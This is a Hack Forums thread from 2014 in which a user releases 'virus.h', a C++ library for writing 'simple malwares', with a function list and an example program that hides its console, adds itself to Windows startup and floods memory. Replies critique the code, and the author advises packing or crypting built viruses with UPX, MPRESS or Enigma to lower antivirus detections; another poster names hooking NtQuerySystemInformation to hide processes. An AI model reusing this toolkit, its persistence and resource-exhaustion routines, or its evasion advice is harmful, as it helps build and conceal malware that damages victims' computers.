

Forum:[Hack Forums](#)

Thread: [\[SOURCE\]\[C++\]virus.h fast, easy, and compiler-friendly c++ virus coding lib by me :\)](#)

CartWright64 - September 1, 2014, 6:19 am

Let me introduce myself, I am Captain Hog drom PiratesWare dev team.

We are proud to introduce our latest creation, virus.h, a c++ library compatible with all compilers (I have not tested TurboC ++).

It contains some of the basic functions for programming simple malwares.

Func list:

pkill(process name); // -> pkill("explorer"); //kill the process.

startup(path,processname) // startup("C:\\virus.exe","java.exe") //Set to windows startup, don't need admin rights

connect(url); // connect("http://www.google.it") quiete connection to a website.

opensite(url); //opensite("www.//...com"); //open a website in browser

ramrabbit(TRUE/FALSE) //drain all ram (TRUE => cmd flood, FALSE => invisible flood)

disable_internet(); //disable internet

enable_internet(); //enable internet

block_website("www.google.it"); //block a website

showconsole(); //Show your program console

hideconsole(); //hide your program console

shutdownpc(); //force shutdown

restart_pc(); //force reboot

nuke(); //Try to kill the os.

protezioni(); //simple anti-debug protection

How to setup:

Move the virus.h file in C:\\ or wherever you want, then goto your ide and write at the beginning of your c++ file

```
#include "C:\\virus.h"
```

or

```
#include "yourpath... \\virus.h"
```

Example Snippet:

```
Code #include "C:\\virus.h"
```

```
using namespace std;
```

```
main(){
```

```
    hideconsole();
```

```
    startup("C:\\mymalware.exe","legitprocess.exe"); //use argv[0] to self-infect
```

```
    ramrabbit(TRUE); //drain all ram, spawn itself in another thread
```

```
    MessageBoxA(0,"Supprise","Modafuka?",MB_OK);
```

```
}
```

Download + Source

Code: <http://adf.ly/rf3pg> (pastebin)

Donate if u liked it

I decided to release it in hackforums If you liked and want to support me, donate :)

BTC address:

[img]http://s11.postimg.org/6h6u31nvj/ourflag.png[/img]

un4gott3n - September 1, 2014, 10:31 am

Had a quick read through and the source is good, for someone looking to learn common functions in bots. Also not a fan of how you use curly braces for indentation but of course that's my opinion.

Only other things I see are that some of your else/catch statements don't do anything and also that if you use the `Disable_Internet` command, how can you re-enable it when you have effectively shut yourself out? It would make more sense to block traffic for the user but not release the connection entirely. This is of course if you was to try and use it on a vic and not just on your system.

I say 6/10. Nice work.

0xDEAD10CC - September 1, 2014, 10:45 am

The source is actually really ugly. All those empty codepaths that don't need to be there are silly, although startup via the registry is also easily detected by lots of AV's. Lots of the functionality here requires admin privileges.

EmptyRedData - September 1, 2014, 11:39 am

(Sep 1, 2014 10:45 AM)0xDEAD10CC Wrote: [\[CITE\]](#) The source is actually really ugly. All those empty codepaths that don't need to be there are silly, although startup via the registry is also easily detected by lots of AV's. Lots of the functionality here requires admin privileges.

I agree. Also, the reason Virus libraries don't really exist is because once a signature becomes available for particular patterns inside the library, all malware created with it will be rendered useless.

CartWright64 - September 1, 2014, 1:08 pm

(Sep 1, 2014 10:45 AM)0xDEAD10CC Wrote: [\[CITE\]](#) The source is actually really ugly. All those empty codepaths that don't need to be there are silly, although startup via the registry is also easily detected by lots of AV's. Lots of the functionality here requires admin privileges.

Writing in HKCU don't needs admin rights, i'm still a learner in c++ :) i'm studying this language since a week ahaha anyway, i appreciate your suggest and i'll try to improve my realease.

(Sep 1, 2014 11:39 AM)EmptyRedData Wrote: [\[CITE\]](#) I agree. Also, the reason Virus libraries don't really exist is because once a signature becomes available for particular patterns inside the library, all malware created with it will be rendered useless.

It's just for coding SIMPLE malwares by unesperieneced people, not for develope badbios :)

(Sep 1, 2014 10:31 AM)un4gott3n Wrote: [\[CITE\]](#) Had a quick read through and the source is good, for someone looking to learn common functions in bots. Also not a fan of how you use curly braces for indentation but of course that's my opinion.

Only other things I see are that some of your else/catch statements don't do anything and also that if you use the `Disable_Internet` command, how can you re-enable it when you have effectively shut yourself out? It would make more sense to block traffic for the user but not release the connection

entirely. This is of course if you was to try and use it on a vic and not just on your system.

I say 6/10. Nice work.

Thanks for your rate mate. I'll improve it soon :)

Remix - September 1, 2014, 1:50 pm

Why do you use boolean for the nuke function if you don't return anything?

The "shutdownpc" and "restartpc" are useless because the user gets a notice that the pc will shutdown/restart and he can cancel it.

0xDEAD10CC - September 1, 2014, 2:15 pm

(Sep 1, 2014 01:08 PM)CartWright64 Wrote: [\[CITE\]](#) Writing in HKCU don't needs admin rights, i'm still a learner in c++ :) i'm studying this language since a week ahaha anyway, i appreciate your suggest and i'll try to improve my realease.

Where did I say it did? I said "Lots of the functionality here requires admin privileges", not all. Although that still doesn't get around the fact that it's easily detected.

CartWright64 - September 2, 2014, 2:10 am

So 0xDEAD10CC and [iRemix] What changes do you suggest to make to my release to make it truly useful and interesting (for learners, obviously)? ?

Maybe you could send me some suggestions in PM I'm going to continue this project !!

CiM4 - September 3, 2014, 3:02 am

(Sep 2, 2014 02:10 AM)CartWright64 Wrote: [\[CITE\]](#) So 0xDEAD10CC and [iRemix] What changes do you suggest to make to my release to make it truly useful and interesting (for learners, obviously)? ?

Maybe you could send me some suggestions in PM I'm going to continue this project !!

can you PM me? i can't because i have no 25 threads and i wanna to talk you thanks

CartWright64 - September 5, 2014, 12:54 am

(Sep 3, 2014 03:02 AM)CiM4 Wrote: [\[CITE\]](#) can you PM me? i can't because i have no 25 threads and i wanna to talk you thanks

No problem :) ?

Spoiler [\(Click to View\)](#)

shaorraorhsakosairhaoirhoasrnoaisrhnr

Ahmed X Blade - September 7, 2014, 6:08 pm

i want how to crypte server bypass all anti viurs and hide on TEMP And Task manager Hide Process WHO Can Crypt Server This

CartWright64 - September 9, 2014, 5:47 am

(Sep 7, 2014 06:08 PM)Ahmed X Blade Wrote: [\[CITE\]](#) i want how to crypte server bypass all anti viurs and hide on TEMP And Task manager Hide Process WHO Can Crypt Server This

What? LOL ?

If you want to encrypt a virus made from this library you can use any crypter that supports native languages (C++/Delphi[.]).

I advise you to compress it using enigma / upx / MPRESS / petite / that are free packers.

Virustotal does not rise above 10 without encryption so...

But please, review your English a bit that I did not understand a shit.

---Links---

UPX: <http://upx.sourceforge.net/>
MPRESS <http://www.matcode.com/mpress.htm>
ENIGMA <http://enigmaprotector.com/>
PETITE <http://www.un4seen.com/petite/>

For disabling task manager you can download the newest version:

<http://adf.ly/ruZCm>

And use the function `disabletaskmanager()`;

0xDEAD10CC - September 12, 2014, 6:34 pm

(Sep 9, 2014 05:47 AM)CartWright64 Wrote: [\[CITE\]](#) What? LOL ?

If you want to encrypt a virus made from this library you can use any crypter that supports native languages (C++/Delphi[.]).

I advise you to compress it using `enigma` / `upx` / `MPRESS` / `petite` / that are free packers.

Virustotal does not rise above 10 without encryption so...

But please, review your English a bit that I did not understand a shit.

---Links---

UPX: <http://upx.sourceforge.net/>
MPRESS <http://www.matcode.com/mpress.htm>
ENIGMA <http://enigmaprotector.com/>
PETITE <http://www.un4seen.com/petite/>

For disabling task manager you can download the newest version:

<http://adf.ly/ruZCm>

And use the function `disabletaskmanager()`;

Where did you read that he wanted to disable Task Manager? ?

From what I can see, he wants to hide a process which involves a hook to `NtQuerySystemInformation ()` as one method.

xMoD - September 19, 2014, 9:19 pm

I think its pretty cool.

I mean obviously as stated you wouldnt use for a legitimate malware.

But its nice for a simple small design.

I dont like however you attempt to add to startup thru HKLM first, then if it fails (most likely cus of no admin rights) write to HKCU.

I think you should just come out writing to it.

Your `fork_core` & `fork_coredue` are the same, and I assume you meant for `fork_core` to be `SW_HIDE`.

Since you have:

PHP Code

`<?php`

`if(metodo){`

`CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fork_coredue, 0, 0, 0);`

`// 1 = True, so if metodo is 1 (visible)`

`}else{`

`CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fork_core, 0, 0, 0); // else`

```
}
```

So for the fork_core you need to change SW_SHOW to -> SW_HIDE to ensure if it is set to 0, it will hide the windows.

ramrabbit is a bool, but returns void/nothing.

But other than those, it is neat just to use and great for beginners to learn from!

Nvm, I see you fixed the SW_HIDE and stuff in your newer version.

CartWright64 - September 25, 2014, 11:05 am

Thanks xMod ... you really helped me a lot.

hackaquack - September 27, 2014, 12:29 pm

What's lame about this and the rest of this subforum is that its all windows specific. Rarely do I encounter a cross platform source code on here.

0xDEAD10CC - September 27, 2014, 12:39 pm

(Sep 27, 2014 12:29 PM)hackaquack Wrote: [\[CITE\]](#) What's lame about this and the rest of this subforum is that its all windows specific. Rarely do I encounter a cross platform source code on here.

Ahh.. ? Let me remind you of what you know about the language in general:

<https://hackforums.net/showthread.php?tid=4368609>

Windows is a big target by itself, why would you need a cross-platform virus unless you have really specific intentions? I don't think you even know what would be Windows specific and what wouldn't be. There's lots of code here which is Unix specific too and a few that are related to Darwin OS. Lots of the basic code is cross platform however too.

hackaquack - September 28, 2014, 10:41 am

(Sep 27, 2014 12:39 PM)0xDEAD10CC Wrote: [\[CITE\]](#) Ahh.. ? Let me remind you of what you know about the language in general: <https://hackforums.net/showthread.php?tid=4368609>

Windows is a big target by itself, why would you need a cross-platform virus unless you have really specific intentions? I don't think you even know what would be Windows specific and what wouldn't be. There's lots of code here which is Unix specific too and a few that are related to Darwin OS. Lots of the basic code is cross platform however too.

I understand my novice knowledge in C but I was saying in general how there are very few non-windows specific sources in here that I can study to improve my knowledge on the language. I know to become a true guru I have to understand the different platforms and versions of a language(if available). Learning many platforms at once won't help me at all instead help add to the frustration and curiosity I get when learning a new language.

0xDEAD10CC - September 28, 2014, 10:44 am

(Sep 28, 2014 10:41 AM)hackaquack Wrote: [\[CITE\]](#) I understand my novice knowledge in C but I was saying in general how there are very few non-windows specific sources in here that I can study to improve my knowledge on the language. I know to become a true guru I have to understand the different platforms and versions of a language(if available). Learning many platforms at once won't help me at all instead help add to the frustration and curiosity I get when learning a new language.

And this thread is about C++, not C. Although I don't see how to become a guru you need to understand multiple platforms... The language doesn't change if you are writing Linux specific code, only the headers and functions do for the most part.

hackaquack - September 28, 2014, 10:56 am

(Sep 28, 2014 10:44 AM)0xDEAD10CC Wrote: [\[CITE\]](#) And this thread is about C++, not C. Although I don't see how to become a guru you need to understand multiple platforms... The language doesn't change if you are writing Linux specific code, only the headers and functions do for the most part. I wrote a really long reply and my internet was disconnected when I hit 'post reply'.

Anyways, TL;DR I'm a dreamer.

CartWright64 - October 12, 2014, 10:08 am

LOL nice hackaquack :)

Do you enjoyed my release?

vx-poutine - October 12, 2014, 10:16 am

may I ask how the website block works ? Is it a simple HOST file block or?

CartWright64 - October 13, 2014, 10:33 am

(Oct 12, 2014 10:16 AM)vx-poutine Wrote: [\[CITE\]](#) may I ask how the website block works ? Is it a simple HOST file block or?

Yes, it works using hosts file.

I did not want to make one that used the regedit

I am lazy xD

SIM-121380 - October 14, 2014, 6:32 am

(Oct 13, 2014 10:33 AM)CartWright64 Wrote: [\[CITE\]](#) Yes, it works using hosts file.

I did not want to make one that used the regedit

I am lazy xDDon't be lazy while learning ?

Anyway GL learning more things in the future

Goldbach - October 14, 2014, 10:19 pm

Looks nice, may use it in the future, nice contribution :)

NotSoDeadHead - October 18, 2014, 2:57 am

Just dropped in to say I like OP's attitude, he's positive and ambitious.

There needs to be more people like you in the world.

Keep on hacking.

stdio - October 18, 2014, 4:10 am

Mate don't ever post a referral link on this section, okay?

Not bad for a beginner

Regards

Fapper - October 23, 2014, 1:34 am

i think that is so good. thanks for sharing.

i'll develop it :)